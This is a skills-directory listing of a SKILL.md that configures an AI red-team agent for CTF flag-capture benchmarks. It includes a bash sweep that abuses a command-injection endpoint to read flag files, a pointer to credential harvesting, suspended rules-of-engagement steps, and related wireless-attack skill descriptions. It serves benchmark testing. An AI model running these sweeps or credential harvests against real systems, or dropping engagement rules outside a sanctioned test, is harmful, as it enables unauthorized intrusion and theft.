[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78GPCZGPHYQ7STMCEYTXF5G":3,"skill-same:01M78GPCZGPHYQ7STMCEYTXF5G":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":13,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M78GPCZGPHYQ7STMCEYTXF5G","benchmark",null,"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fbenchmark\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: benchmark\ndescription: \"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: benchmark\n  when_to_use: \"benchmark, ctf, challenge, flag capture\"\n  tags: benchmark, ctf\n  upstream_ref: \"XBOW validation-benchmarks + Decepticon CTF mode marker\"\n---\n\n# Benchmark Mode\n\nThe engagement objective is **flag capture**. Per-challenge context\n(target URL, vulnerability tags, flag format, mission brief, extra\nservice ports) is injected into the system message every model call by\n`EngagementContextMiddleware` — read it; do NOT duplicate it here, and\ndo NOT ask the operator for it.\n\n## Suspended CRITICAL_RULES under benchmark mode\n\n- Rule 8 (Startup Required) — flag IS the deliverable; no roe\u002Fconops\u002Fdeconfliction.\n- Rule 9 (Final Report) — no executive summary; the flag string is the report.\n\nAll other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN\ndiscipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget\npacing live in their owning prompts\u002Fskills (see `decepticon.md` Rules\n20\u002F22, the recon\u002Fexploit agent prompts, and `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002FSKILL.md`\nfor vuln routing).\n\n## SHORT-CIRCUIT — flag\u002Fcredential found\n\nWhen a sub-agent (recon or exploit) returns a verified flag or\nflag-equivalent credential:\n\n1. `update_objective` remaining objectives to `passed`.\n2. Your VERY NEXT response is the final answer, re-echoing the flag\n   VERBATIM in the format announced by the middleware (e.g.\n   `Flag captured: FLAG{\u003Cvalue>}`). The harness scans ONLY the\n   orchestrator's final message — if the flag string lives only inside\n   a sub-agent return, it is LOST.\n\n## Flag-path sweep (after RCE confirmed)\n\nGeneric skills under `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002F` (`command-injection\u002FSKILL.md`, `cve\u002FSKILL.md`, etc.) cover credential\u002Fsecret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (`id`, `hostname`, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:\n\n```bash\n# CTF flag-path conventions — XBOW \u002F picoCTF \u002F HackTheBox \u002F TryHackMe overlap.\nfor f in \u002Fopt\u002Fflag.txt \u002Fflag \u002Fflag.txt \u002Froot\u002Fflag.txt \u002Froot\u002Fflag \\\n         \u002Fhome\u002F*\u002Fflag.txt \u002Fhome\u002F*\u002Fflag \u002Ftmp\u002Fflag.txt \u002Ftmp\u002Fflag \\\n         \u002Fvar\u002Fwww\u002Fflag.txt \u002Fvar\u002Fwww\u002Fhtml\u002Fflag.txt \u002Fsrv\u002Fflag.txt \u002Fsrv\u002Fflag; do\n  result=$(curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CRCE_SINK>?cmd=cat+$f\" 2>\u002Fdev\u002Fnull | head -5)\n  [ -n \"$result\" ] && echo \"=== $f ===\" && echo \"$result\"\ndone | tee \u002Ftmp\u002Fflag_sweep.txt\nhead -50 \u002Ftmp\u002Fflag_sweep.txt\n\n# Broad flag-filename find (when path is non-standard)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CRCE_SINK>?cmd=find+\u002F+-type+f+\\(-name+'flag*'-o+-name+'FLAG*'\\)+-not+-path+'\u002Fproc\u002F*'+-not+-path+'\u002Fsys\u002F*'+2>\u002Fdev\u002Fnull\" \\\n  -o \u002Ftmp\u002Ffind_flag.txt\nhead -20 \u002Ftmp\u002Ffind_flag.txt\n```\n\nReplace `\u003CRCE_SINK>` with the confirmed injection endpoint. If the flag's `format` (e.g. `FLAG{...}`, `flag{...}`, `CTF{...}`) was announced by the middleware, additionally grep the harvest for that prefix:\n\n```bash\ngrep -hoE '(FLAG|flag|CTF)\\{[^}]+\\}' \u002Ftmp\u002Fflag_sweep.txt \u002Ftmp\u002Ffind_flag.txt | sort -u\n```\n\nThe generic credential harvest (`\u002Fetc\u002Fpasswd`, `.env`, configs, SSH keys, secret\u002Fcred\u002Ftoken files) lives in `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcommand-injection\u002FSKILL.md` — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).\n\n## Tag → Skill Routing Table (BENCHMARK FAST-PATH)\n\nBenchmark mode pre-declares `Vulnerability tags:` in the engagement context, leaking the\nchallenge's intended attack class. **In real engagements no such metadata exists** — agents\ndiscover the class through the domain router skill applied to recon's raw observations.\nThis table is the canonical fast-path for the benchmark shortcut and the **only** place\nthis mapping lives. Generic agent prompts (`recon.md`, `exploit.md`, `decepticon.md`)\nintentionally do not encode it — they route via the domain router skills\n(`\u002Fskills\u002Fstandard\u002Fexploit\u002F\u003Cdomain>\u002FSKILL.md`) on observation evidence.\n\n**Consumer**: the orchestrator (`decepticon.md`). When dispatching exploit, the orchestrator\nmay consult this table to pick the matching sub-skill directly from the pre-declared tags,\nskipping the observation-based router classification. **Recon does NOT consume this table**\n— recon's role is observation, not classification or skill recommendation.\n\n| `Vulnerability tag` | `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002F\u003CX>\u002FSKILL.md` |\n|---|---|\n| `sqli`                       | `sqli.md` |\n| `blind_sqli`                 | `blind-sqli.md` (load with `sqli.md` when sqlmap+tamper is exhausted) |\n| `xss`                        | `xss.md` |\n| `ssti`                       | `ssti.md` |\n| `ssrf`                       | `ssrf.md` |\n| `xxe`                        | `xxe.md` |\n| `lfi`                        | `lfi.md` |\n| `path_traversal`             | `lfi.md` |\n| `command_injection`          | `command-injection.md` |\n| `insecure_deserialization`   | `deserialization.md` |\n| `idor`                       | `idor.md` |\n| `arbitrary_file_upload`      | `file-upload.md` |\n| `file_upload`                | `file-upload.md` |\n| `graphql`                    | `graphql.md` |\n| `race_condition`             | `race-condition.md` |\n| `smuggling`                  | `smuggling.md` |\n| `crypto`                     | `crypto.md` |\n| `business_logic`             | `business-logic.md` |\n| `default_credentials`        | `business-logic.md` |\n| `jwt`                        | `business-logic.md` (no dedicated file) |\n| `cve`                        | `cve.md` |\n\nFor multiple tags → emit one `REQUIRED SKILL LOAD:` line per mapped skill.\n\n## What this skill is NOT\n\n- vulnerability routing → `\u002Fskills\u002Fstandard\u002Fexploit\u002F{web,ad}\u002FSKILL.md`\n- recon playbooks → `\u002Fskills\u002Fstandard\u002Frecon\u002F\u003Carea>\u002FSKILL.md`\n- OPSEC → `\u002Fskills\u002Fshared\u002Fopsec\u002FSKILL.md`\n- per-challenge context → middleware-injected, every turn\n- agent-specific behavior → that agent's prompt and `\u002Fskills\u002F\u003Cagent>\u002F`\n","# Benchmark Mode\n\nThe engagement objective is **flag capture**. Per-challenge context\n(target URL, vulnerability tags, flag format, mission brief, extra\nservice ports) is injected into the system message every model call by\n`EngagementContextMiddleware` — read it; do NOT duplicate it here, and\ndo NOT ask the operator for it.\n\n## Suspended CRITICAL_RULES under benchmark mode\n\n- Rule 8 (Startup Required) — flag IS the deliverable; no roe\u002Fconops\u002Fdeconfliction.\n- Rule 9 (Final Report) — no executive summary; the flag string is the report.\n\nAll other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN\ndiscipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget\npacing live in their owning prompts\u002Fskills (see `decepticon.md` Rules\n20\u002F22, the recon\u002Fexploit agent prompts, and `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002FSKILL.md`\nfor vuln routing).\n\n## SHORT-CIRCUIT — flag\u002Fcredential found\n\nWhen a sub-agent (recon or exploit) returns a verified flag or\nflag-equivalent credential:\n\n1. `update_objective` remaining objectives to `passed`.\n2. Your VERY NEXT response is the final answer, re-echoing the flag\n   VERBATIM in the format announced by the middleware (e.g.\n   `Flag captured: FLAG{\u003Cvalue>}`). The harness scans ONLY the\n   orchestrator's final message — if the flag string lives only inside\n   a sub-agent return, it is LOST.\n\n## Flag-path sweep (after RCE confirmed)\n\nGeneric skills under `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002F` (`command-injection\u002FSKILL.md`, `cve\u002FSKILL.md`, etc.) cover credential\u002Fsecret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (`id`, `hostname`, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:\n\n```bash\n# CTF flag-path conventions — XBOW \u002F picoCTF \u002F HackTheBox \u002F TryHackMe overlap.\nfor f in \u002Fopt\u002Fflag.txt \u002Fflag \u002Fflag.txt \u002Froot\u002Fflag.txt \u002Froot\u002Fflag \\\n         \u002Fhome\u002F*\u002Fflag.txt \u002Fhome\u002F*\u002Fflag \u002Ftmp\u002Fflag.txt \u002Ftmp\u002Fflag \\\n         \u002Fvar\u002Fwww\u002Fflag.txt \u002Fvar\u002Fwww\u002Fhtml\u002Fflag.txt \u002Fsrv\u002Fflag.txt \u002Fsrv\u002Fflag; do\n  result=$(curl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CRCE_SINK>?cmd=cat+$f\" 2>\u002Fdev\u002Fnull | head -5)\n  [ -n \"$result\" ] && echo \"=== $f ===\" && echo \"$result\"\ndone | tee \u002Ftmp\u002Fflag_sweep.txt\nhead -50 \u002Ftmp\u002Fflag_sweep.txt\n\n# Broad flag-filename find (when path is non-standard)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\u003CRCE_SINK>?cmd=find+\u002F+-type+f+\\(-name+'flag*'-o+-name+'FLAG*'\\)+-not+-path+'\u002Fproc\u002F*'+-not+-path+'\u002Fsys\u002F*'+2>\u002Fdev\u002Fnull\" \\\n  -o \u002Ftmp\u002Ffind_flag.txt\nhead -20 \u002Ftmp\u002Ffind_flag.txt\n```\n\nReplace `\u003CRCE_SINK>` with the confirmed injection endpoint. If the flag's `format` (e.g. `FLAG{...}`, `flag{...}`, `CTF{...}`) was announced by the middleware, additionally grep the harvest for that prefix:\n\n```bash\ngrep -hoE '(FLAG|flag|CTF)\\{[^}]+\\}' \u002Ftmp\u002Fflag_sweep.txt \u002Ftmp\u002Ffind_flag.txt | sort -u\n```\n\nThe generic credential harvest (`\u002Fetc\u002Fpasswd`, `.env`, configs, SSH keys, secret\u002Fcred\u002Ftoken files) lives in `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcommand-injection\u002FSKILL.md` — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).\n\n## Tag → Skill Routing Table (BENCHMARK FAST-PATH)\n\nBenchmark mode pre-declares `Vulnerability tags:` in the engagement context, leaking the\nchallenge's intended attack class. **In real engagements no such metadata exists** — agents\ndiscover the class through the domain router skill applied to recon's raw observations.\nThis table is the canonical fast-path for the benchmark shortcut and the **only** place\nthis mapping lives. Generic agent prompts (`recon.md`, `exploit.md`, `decepticon.md`)\nintentionally do not encode it — they route via the domain router skills\n(`\u002Fskills\u002Fstandard\u002Fexploit\u002F\u003Cdomain>\u002FSKILL.md`) on observation evidence.\n\n**Consumer**: the orchestrator (`decepticon.md`). When dispatching exploit, the orchestrator\nmay consult this table to pick the matching sub-skill directly from the pre-declared tags,\nskipping the observation-based router classification. **Recon does NOT consume this table**\n— recon's role is observation, not classification or skill recommendation.\n\n| `Vulnerability tag` | `\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002F\u003CX>\u002FSKILL.md` |\n|---|---|\n| `sqli`                       | `sqli.md` |\n| `blind_sqli`                 | `blind-sqli.md` (load with `sqli.md` when sqlmap+tamper is exhausted) |\n| `xss`                        | `xss.md` |\n| `ssti`                       | `ssti.md` |\n| `ssrf`                       | `ssrf.md` |\n| `xxe`                        | `xxe.md` |\n| `lfi`                        | `lfi.md` |\n| `path_traversal`             | `lfi.md` |\n| `command_injection`          | `command-injection.md` |\n| `insecure_deserialization`   | `deserialization.md` |\n| `idor`                       | `idor.md` |\n| `arbitrary_file_upload`      | `file-upload.md` |\n| `file_upload`                | `file-upload.md` |\n| `graphql`                    | `graphql.md` |\n| `race_condition`             | `race-condition.md` |\n| `smuggling`                  | `smuggling.md` |\n| `crypto`                     | `crypto.md` |\n| `business_logic`             | `business-logic.md` |\n| `default_credentials`        | `business-logic.md` |\n| `jwt`                        | `business-logic.md` (no dedicated file) |\n| `cve`                        | `cve.md` |\n\nFor multiple tags → emit one `REQUIRED SKILL LOAD:` line per mapped skill.\n\n## What this skill is NOT\n\n- vulnerability routing → `\u002Fskills\u002Fstandard\u002Fexploit\u002F{web,ad}\u002FSKILL.md`\n- recon playbooks → `\u002Fskills\u002Fstandard\u002Frecon\u002F\u003Carea>\u002FSKILL.md`\n- OPSEC → `\u002Fskills\u002Fshared\u002Fopsec\u002FSKILL.md`\n- per-challenge context → middleware-injected, every turn\n- agent-specific behavior → that agent's prompt and `\u002Fskills\u002F\u003Cagent>\u002F`\n",{"name":5,"metadata":23,"description":7,"allowed-tools":27},{"tags":24,"subdomain":5,"when_to_use":25,"upstream_ref":26},"benchmark, ctf","benchmark, ctf, challenge, flag capture","XBOW validation-benchmarks + Decepticon CTF mode marker","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fbenchmark","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill benchmark",{"tool":40,"command":41},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill benchmark",{"tool":43,"command":44},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill benchmark","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fbenchmark\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]